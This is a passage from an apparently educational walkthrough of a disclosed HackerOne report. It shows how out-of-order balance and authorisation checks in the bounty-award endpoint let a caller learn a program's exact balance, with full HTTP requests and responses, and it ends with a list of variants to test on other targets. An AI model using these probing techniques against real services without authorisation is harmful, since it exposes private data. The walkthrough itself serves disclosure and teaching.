  • HTTP/1.1 200 OK: the server accepted the request and returned a normal answer.
  • Date: ...: when the response was produced.
  • Content-Type: application/json; charset=utf-8: the body is JSON.
  • Connection: close: the connection closes after this.
  • Cache-Control: private, no-cache, no-store, must-revalidate: do not store this response.
  • Content-Disposition: inline; filename="response.": display rather than download, with a suggested file name.
  • Content-Security-Policy: ...: the same set of browser restrictions as before, with the same redacted reporting key.
  • Referrer-Policy, X-Content-Type-Options, X-Download-Options, X-Frame-Options, X-Permitted-Cross-Domain-Policies, X-XSS-Protection: the same protective headers as before.
  • Server: cloudflare-nginx: the server software that answered.
  • CF-RAY: 3c5023b59bf660c0-MNL: Cloudflare's trace identifier for this request.
  • Content-Length: 64: the body is 64 bytes.
  • {"flash":"You have successfully awarded a bounty.","reports":[]}: the body. flash is a short message meant to be shown to the user at the top of the page, and it says a bounty was awarded successfully. reports is an empty list, meaning no report objects came back with the answer.

The response reports success. The researcher notes that the bounty is not actually sent to the account or recorded on it; the message is returned regardless. So this message is not proof that money moved. What matters is that the server processed the request far enough to answer, which means the request reached the award logic.

Step 8: raise the amount to probe the balance

With the request in Repeater, increase the value of the bounty_amount parameter above the amount used in the request above. Each amount can then be tested against the program. The request that matched the exact balance of the "HackerOne Program" is:

HTTP
POST /reports/bulk HTTP/1.1
Host: hackerone.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: ███
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 176
Connection: close

message=&substate=bounty-award&bounty_amount=31730&reference=&add_reporter_to_original=false&reply_action=set-bounty&reports_count=1&report_ids%5B%5D=240273&bounty_currency=USD

The headers are the same as in the previous request, with a different redacted Referer and a Content-Length of 176 because the body is now visible and slightly longer. The body is a series of name=value pairs joined by &. Here is what each field does:

Field Value Role
message empty Optional message attached to the award
substate bounty-award Selects the bounty award action
bounty_amount 31730 The amount being tested
reference empty Reference field for the award
add_reporter_to_original false Whether to add the reporter to the original report
reply_action set-bounty The action to perform
reports_count 1 Number of reports in the bulk request
report_ids%5B%5D 240273 The report ID, URL-encoded as report_ids[]
bounty_currency USD Currency of the amount

A note on report_ids%5B%5D: in a form body, certain characters have to be written in a coded form so they do not clash with the & and = separators. %5B is [ and %5D is ], so this field is really named report_ids[]. The square brackets are a common convention meaning "this field can appear more than once, as a list". Here there is one entry, 240273.

The response is:

HTTP
HTTP/1.1 200 OK
Date: Tue, 28 Nov 2017 20:43:14 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Disposition: inline; filename="response."
Content-Security-Policy: default-src 'none'; base-uri 'self'; connect-src 'self' www.google-analytics.com errors.hackerone.net; font-src 'self'; form-action 'self'; frame-ancestors 'none'; frame-src www.youtube-nocookie.com; img-src 'self' data: cover-photos.hackerone-user-content.com hackathon-photos.hackerone-user-content.com profile-photos.hackerone-user-content.com hackerone-attachments.s3.amazonaws.com; media-src 'self' hackerone-attachments.s3.amazonaws.com; script-src 'self' www.google-analytics.com; style-src 'self' 'unsafe-inline'; report-uri https://errors.hackerone.net/api/30/csp-report/?sentry_key=[redacted]
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 1; mode=block
Server: cloudflare-nginx
CF-RAY: 3c502882d8246102-MNL
Content-Length: 64

{"flash":"You have successfully awarded a bounty.","reports":[]}

This is the same shape of response as before: status 200, the same protective headers, a new CF-RAY trace value, and the same body saying the bounty was awarded. The important part is that at an amount of 31,730 the server still answered with the success message.

Step 9: go one unit above the balance

Raise the amount above the exact balance. The request is:

HTTP
POST /reports/bulk HTTP/1.1
Host: hackerone.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: ██████████
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 176
Connection: close

message=&substate=bounty-award&bounty_amount=31731&reference=&add_reporter_to_original=false&reply_action=set-bounty&reports_count=1&report_ids%5B%5D=240273&bounty_currency=USD

The only change from the previous request is bounty_amount=31731. Everything else in the body is identical, and the Content-Length stays at 176 because the number has the same number of digits. The response is:

HTTP
HTTP/1.1 422 Unprocessable Entity
Date: Tue, 28 Nov 2017 20:45:47 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Disposition: inline; filename="response."
Content-Security-Policy: default-src 'none'; base-uri 'self'; connect-src 'self' www.google-analytics.com errors.hackerone.net; font-src 'self'; form-action 'self'; frame-ancestors 'none'; frame-src www.youtube-nocookie.com; img-src 'self' data: cover-photos.hackerone-user-content.com hackathon-photos.hackerone-user-content.com profile-photos.hackerone-user-content.com hackerone-attachments.s3.amazonaws.com; media-src 'self' hackerone-attachments.s3.amazonaws.com; script-src 'self' www.google-analytics.com; style-src 'self' 'unsafe-inline'; report-uri https://errors.hackerone.net/api/30/csp-report/?sentry_key=[redacted]
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 1; mode=block
Server: cloudflare-nginx
CF-RAY: 3c502c3d7bd86102-MNL
Content-Length: 101

{"flash":null,"reports":[{"errors":["Validation failed: insufficient funds to award this bounty."]}]}

Line by line:

  • HTTP/1.1 422 Unprocessable Entity: the status code has changed. 422 means the server understood the request but refused to process it because the content failed a check. This is the signal that something is different.
  • Date: ...: when the response was produced.
  • Connection: close: the connection closes after this response.
  • Content-Disposition: inline; filename="response.": display rather than download.
  • Content-Security-Policy: ...: the same browser restrictions as before.
  • CF-RAY: 3c502c3d7bd86102-MNL: Cloudflare's trace identifier for this request.
  • Content-Length: 101: the body is 101 bytes.
  • {"flash":null,"reports":[{"errors":["Validation failed: insufficient funds to award this bounty."]}]}: the body. flash is null, so there is no success message. reports is a list containing one object, and that object has an errors list with the text Validation failed: insufficient funds to award this bounty. In plain words: the program does not have enough money for 31,731.

The status changes to 422 Unprocessable Entity and the body carries "Validation failed: insufficient funds to award this bounty.". The boundary between a success response and this error is the program's remaining balance, so trying different amounts narrows it down to the exact figure. In this example, 31,730 was accepted and 31,731 was refused.

Why it worked

The award endpoint performed its balance check before its authorisation check. A caller without award rights on the program therefore still reached the funds check, and the two outcomes (success message versus insufficient funds) leaked one bit about the program's balance per request. Repeating the request with different amounts narrows the balance down to the exact value.

Editing the can_award_bounty? field in the response made the Set award control appear, which allowed the award request to be submitted.

A comparison: a building where the receptionist checks whether there is a free meeting room before checking whether you work there. You cannot book the room, but every time you ask, the answer tells you how many rooms are free.

Impact

An attacker can determine the exact bounty balance of a bug bounty program, including programs the attacker has no access to. The program summary states that program names were only accessible for public programs, and that the vulnerability affected only a limited set of customers. The researcher notes that the success message does not mean a bounty was paid: nothing was sent to or recorded on the account.

Fix

The report does not describe the change that was made.

Variants to test

These are general patterns worth trying elsewhere, once you understand the one above.

  1. Bulk action endpoints with per-item validation. Submit a bulk request with an action the account is not entitled to perform and vary a numeric field. A positive result is a different response (status or message) at the boundary of an internal limit, such as a balance, quota or seat count.
  2. Client-side capability flags. Look for fields such as can_*, is_* or allow_* in JSON responses and flip them. A positive result is a server-side action becoming reachable, or a different error than the one returned without the edit.
  3. Ordering of checks. For any endpoint that validates a resource state (funds, stock, limits) and also checks permissions, call it as an unauthorised user with boundary values. A positive result is a state-related error rather than a permission error.
  4. Iteration over object IDs. Where a report or object ID is accepted alongside an amount, try other IDs belonging to other programs. A positive result is the same success/insufficient-funds boundary appearing for objects the account cannot otherwise act on.

Glossary

  • API: a set of addresses on a server that programs talk to, each doing a specific job.
  • API endpoint: one such address, for example /reports/bulk.
  • Asynchronous request: a request made in the background by a page, without reloading the whole page.
  • Authorisation: whether you are allowed to perform an action.
  • Authentication: proving who you are.
  • Binary search: finding an exact number by repeatedly halving the range of possible values.
  • Bounty: a reward paid to a researcher for a valid security report.
  • Bug bounty program: a company's scheme on a platform that pays researchers for security reports.
  • Burp Suite: a tool that sits between browser and server so you can pause, read and change traffic.
  • Client-side check: a check performed in the browser, which the user can change.
  • Content-Length: a header stating how many bytes the body contains.
  • Content-Security-Policy: a header listing which sources a page may load scripts, images and other resources from.
  • Content-Type: a header stating what kind of data the body is, such as JSON or form data.
  • Cross-site scripting (XSS): a class of attack where an attacker gets their own script to run in another user's browser.
  • Clickjacking: tricking a user into clicking something by hiding it inside a frame on another page.
  • Form-encoded: a body format of name=value pairs joined by &, as sent by a normal web form.
  • GET: an HTTP method meaning "fetch this".
  • Header: extra information sent alongside a request or response.
  • HTTP: the protocol browsers and servers use to exchange requests and responses.
  • Information disclosure: a vulnerability where the problem is that someone learns something they should not know.
  • Intercepting proxy: a proxy that pauses traffic so you can inspect and modify it.
  • JSON: a text format for structured data, written as {"name": "value"}.
  • Oracle: any behaviour that answers a yes/no question you are not supposed to be able to ask.
  • POST: an HTTP method meaning "here is data, act on it".
  • Proxy: a tool or server that traffic passes through on its way to its destination.
  • Repeater: a Burp Suite feature for resending a captured request repeatedly with changes.
  • Referer: a header naming the page the request came from.
  • Request: what the browser sends to the server.
  • Response: what the server sends back.
  • Server-side check: a check performed on the server, which the user cannot change.
  • Status code: a number in the response saying how it went, such as 200 for success or 422 for a rejected request.
  • URL encoding: writing special characters in a coded form, such as %5B for [.
  • User-Agent: a header identifying the browser and operating system.
  • UTF-8: a common way of encoding characters as bytes.
  • Validation: checking that submitted data meets the rules before acting on it.
  • X-Requested-With: a header marking a request as made by JavaScript in the page rather than by typing an address.

More by cjlegacion

View all

1 more disclosed report, best first.

More from HackerOne

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.